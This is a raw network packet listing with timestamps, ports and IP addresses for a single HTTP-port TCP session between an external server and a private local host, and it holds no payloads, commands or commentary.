Oct 18, 2022 13:28:05.937963963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.937983990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938002110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938020945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938040018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938057899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938076973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938096046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938116074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938122034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.938133001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938152075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938172102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938186884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.938194036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938211918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938222885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.938230991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938246965 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.938250065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.938285112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.938314915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.998758078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998794079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998811007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998823881 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998838902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998858929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998893023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998913050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.998933077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998951912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998956919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.998970032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.998987913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999006033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999023914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999027967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.999042034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999054909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.999059916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999075890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.999079943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999103069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999114990 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.999123096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.999149084 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.999166012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059596062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059638023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059657097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059670925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059689045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059709072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059730053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059748888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059767962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059786081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059799910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059806108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059824944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059844017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059844017 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059863091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059879065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059884071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059895039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059902906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059921026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059932947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059935093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.059947014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.059978008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.060008049 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120536089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120568991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120588064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120605946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120625019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120645046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120656013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120665073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120682955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120691061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120702028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120721102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120728970 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120739937 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120750904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120759010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120778084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120795012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120798111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120815992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120832920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120832920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120850086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120858908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120868921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.120881081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.120918036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181288004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181330919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181349993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181370020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181390047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181410074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181427956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181447983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181468010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181487083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181504965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181514978 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181524992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181544065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181561947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181565046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181565046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181581974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181587934 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181600094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181608915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181621075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181639910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181657076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181663036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181675911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.181701899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.181723118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242078066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242114067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242134094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242151976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242170095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242177963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242188931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242207050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242219925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242224932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242243052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242260933 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242274046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242280006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242299080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242299080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242316961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242336035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242337942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242355108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242372036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242372990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242392063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242400885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242408991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242422104 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242428064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242446899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.242460966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.242497921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.302889109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.302927017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.302941084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.302958012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.302977085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.302997112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303014994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303033113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303050995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303069115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303086996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303108931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303134918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303148031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303155899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303177118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303200006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303200960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303224087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303230047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303247929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303251982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303268909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303291082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303292990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.303324938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.303384066 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376410961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376447916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376466990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376488924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376503944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376513004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376537085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376538038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376559019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376580000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376585960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376605034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376610041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376626968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376650095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376651049 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376671076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376682997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376693964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376713991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376722097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376735926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376755953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376764059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376780033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376784086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376801014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376823902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376826048 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376844883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376861095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376868010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376893044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.376902103 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376934052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.376986980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437414885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437455893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437474012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437486887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437501907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437520981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437540054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437558889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437576056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437594891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437614918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437637091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437659025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437659979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437679052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437700987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437705040 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437717915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437725067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437746048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437750101 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437768936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437774897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437791109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437808990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437827110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437839031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437849998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.437882900 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.437905073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498431921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498470068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498488903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498507023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498527050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498544931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498564005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498584986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498603106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498620987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498641968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498667002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498675108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498687983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498708010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498729944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498732090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498755932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498758078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498780966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498784065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498802900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498814106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498826027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498836040 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498851061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498859882 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498872995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498898029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498909950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498914957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.498944044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.498964071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559273005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559309006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559326887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559349060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559367895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559374094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559397936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559402943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559417009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559434891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559448004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559458017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559477091 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559483051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559508085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559509039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559530020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559551954 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559554100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559572935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559586048 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559596062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559617043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559623003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559639931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559664011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559664011 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559686899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559689045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559709072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559720993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559731960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559746981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559756041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.559782982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.559815884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620256901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620299101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620317936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620337009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620356083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620376110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620394945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620414019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620435953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620461941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620472908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620482922 CEST	80	49701	141.8.199.69	192.168.2.7
